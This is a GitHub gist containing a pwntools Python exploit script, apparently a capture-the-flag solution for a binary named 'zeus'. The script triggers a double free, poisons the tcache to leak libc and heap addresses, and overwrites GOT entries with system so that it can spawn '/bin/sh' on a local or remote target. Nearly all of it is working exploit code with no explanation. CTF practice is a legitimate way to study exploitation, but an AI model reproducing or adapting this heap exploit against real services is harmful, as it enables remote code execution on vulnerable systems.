Skip to content

Instantly share code, notes, and snippets.

@syndrill
Created October 13, 2018 16:25
Show Gist options
  • Save syndrill/b375ab889d7305c26f0398f2089b0ade to your computer and use it in GitHub Desktop.
Save syndrill/b375ab889d7305c26f0398f2089b0ade to your computer and use it in GitHub Desktop.
p11-zeus
#!/usr/bin/env python
from pwn import *
import sys
gdbcmd = 'b *0x004011ca'
# context.terminal = 'kitty @ new-window --new-tab --tab-title pwn --keep-focus sh -c'.split()
if sys.argv.__len__() == 3:
r = remote(sys.argv[1], int(sys.argv[2]))
else:
# r = process('./zeus', aslr=False, env={'LD_PRELOAD':'./libc-2.28-9dc614ec33ee0284064ec5535bda431c.so'})
# r = process('./zeus', aslr=False)
r = process('./zeus')
def insert(key, lkey, val, lval):
r.sendlineafter('>> ', '1')
r.sendlineafter(': ', lkey.__str__())
r.sendlineafter(': ', key)
r.sendlineafter(': ', lval.__str__())
r.sendlineafter(': ', val)
# r.recvline(False)
# log.info(r.recvline(False))
def delete(key):
r.sendlineafter('>> ', '2')
r.sendlineafter(': ', key)
# log.info(r.recvline(False))
def lookup(key):
r.sendlineafter('>> ', '3')
r.sendlineafter(': ', key)
r.recvuntil(': ')
return r.recvline(False)
insert('A' * 16, 16, 'a' * 0x20, 0x20)
payload = 'b' * 0xd8
payload += p64(0x30)
payload += p64(0x602000)
payload += p64(0x00400505)
payload += p64(0x602020)
payload += p64(0)
payload += 'b' * 7
insert('B' * 16, 16, payload, 0x108)
delete('B' * 16)
delete('A' * 16)
delete('B' * 16)
payload = p64(0) # fd
payload += p64(0x00400505) # key : str.malloc
payload += p64(0x602020) # value : reloc.puts
payload += p64(0x6020F0) # next
insert('B' * 16, 16, payload, 0x20)
off_puts = 0x70e80
off_puts = 0x809c0
puts = u64(lookup('malloc').ljust(8, '\x00'))
libc = puts - off_puts
log.info(hex(libc))
payload = p64(0)
payload += p64(0x00400505) # key : str.malloc
payload += p64(0x6020D0) # value : heap
payload += p64(0) # next
insert('A' * 16, 16, payload, 0x20)
heap = u64(lookup('malloc').ljust(8, '\x00'))
log.info(hex(heap))
payload = p64(0)
payload += p64(0x00400505) # key : ???
payload += p64(0x6020D0) # value : ???
payload += p64(0) # next
insert('B' * 16, 16, 'c' * 32, 32)
delete('B' * 16)
delete('A' * 16)
delete('B' * 16)
payload = p64(0x602078) # tcache overwrite
payload += p64(0x00400505) # key : ???
payload += p64(0x6020D0) # value : ???
payload += p64(heap + 0x11c0) # next
# gdb.attach(r, gdbcmd)
insert('B' * 16, 16, payload, 0x20)
insert('A' * 16, 16, 'A' * 16, 16)
payload = p64(libc + 0x98c30) # realloc
payload += p64(libc + 0x812f0) # setvbuf
payload += p64(libc + 0x4f440) # system
payload += p64(libc + 0x43120) # system
insert('A' * 16, 16, payload, 0x20)
r.sendlineafter('>> ', '1')
r.sendlineafter(': ', '/bin/sh')
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment